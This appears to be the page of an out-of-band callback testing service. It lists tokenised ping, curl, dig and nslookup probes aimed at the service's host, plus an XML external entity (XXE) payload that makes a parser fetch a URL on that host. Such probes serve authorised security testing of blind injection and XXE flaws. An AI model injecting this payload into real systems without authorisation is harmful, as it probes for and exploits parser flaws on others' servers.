$ ping -c1 -p 00a8318c4ae7bb682d8f0330c9715000 unhack.ca
 
$ curl http://unhack.ca/p/a8318c4ae7bb682d8f0330c97150
 
$ dig a8318c4ae7bb682d8f0330c97150 @unhack.ca
 
$ dig a8318c4ae7bb682d8f0330c97150.ns.unhack.ca
 
C:\> nslookup a8318c4ae7bb682d8f0330c97150 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a8318c4ae7bb682d8f0330c97150">]>
    <foo>&xxe;</foo>
Waiting for ping...